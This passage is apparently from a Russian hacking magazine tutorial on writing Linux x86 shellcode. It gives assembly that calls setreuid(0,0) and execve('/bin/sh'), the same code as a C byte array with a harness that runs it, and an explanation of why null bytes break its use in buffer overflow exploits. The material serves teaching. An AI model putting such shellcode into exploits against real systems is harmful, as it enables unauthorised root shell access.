Откуда берутся шелл-коды Степан Ильин (step@gameland.ru) Хакер, номер #085, стр. 085-050-5 BITS 32 ; setreuid(0, 0) mov eax, 70 mov ebx, 0 mov ecx, 0 int 0x80 jmp two one: pop ebx ; execve("/bin/sh",["/bin/sh", NULL], NULL) mov eax, 11 push 0 push ebx mov ecx, esp mov edx, 0 int 0x80 two: call one db '/bin/sh', 0 Как видишь, никаких сегментов больше нет. Строка «/bin/sh», которая ранее хранилась в сегменте данных, теперь извлекается из стека в регистр EBX. Кроме этого, добавилась новая директива BITS 32, отвечающая за оптимизацию для 32-битных процессоров. В принципе, можно было поступить иначе: самостоятельно занести в стек строку и извлечь ее с помощью указателя на вершину стека ESP. Провернем такой финт со строкой «hello, world!»: push word 0x0a21 push 0x646c726f push 0x77202c6f push 0x6c6c6568 mov ebx, esp Строка заносится в стек с конца: сначала идет \n! (в шестнадцатеричном коде 0x0a21), потом dlro (0x646c726f), далее w ,o (0x77202c6f) и, наконец, lleh (0x6c6c6568). В конце концов значение из регистра ESP (адрес начала строки) заносится EBX. Лихо? Этот способ более эффективен, так как существенно сокращает шелл-код, однако менее удобен. [первый шелл-код] Теперь, когда мы научились обходиться без сегмента данных, можно приступить к созданию первого полноценного шелл-кода. Для этого нужно сначала откомпилировать исходный код программы на ассемблере: $ nasm shell.asm И просмотреть полученный бинарник с помощью программы hexdump: $ hexdump -C shell Видишь скриншот? По сути дела это и есть шелл-код: необходимо лишь преобразовать его в соответствующий вид. Для этого перед каждым байтом допиши символ \x и без пробелов занеси в массив символов. Проверить его работоспособность можно с помощью такой несложной программы: char code[]= "\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd" "\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00" "\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68\x00"; main() { int (*shell)(); (int)shell = code; shell(); } $ gcc -o shell.c $ ./shell.c Все работает! [эти злые NULL-байты] Спешу тебя огорчить. Несмотря на то, что шелл-код не использует сегмент данных и даже работает внутри программы-тестера, использовать его в реальных эксплойтах пока нельзя. Виной тому нулевые байты (\x00), которые в изобилии присутствуют в шелл-коде. Большинство ошибок Buffer Overflow и подобных связаны с использованием функции работы со строками: strcpy(), sprintf(), gets(), strcat() и т.д. Если попытаться использовать шеллкод в одной из таких уязвимостей, переполнить буфер и инжектировать код с нулевыми байтами, то ничего хорошего не выйдет. Встретив нулевой байт, функция подумает, что встретила конец строки и не прочитает остававшуюся часть шелл-кода. |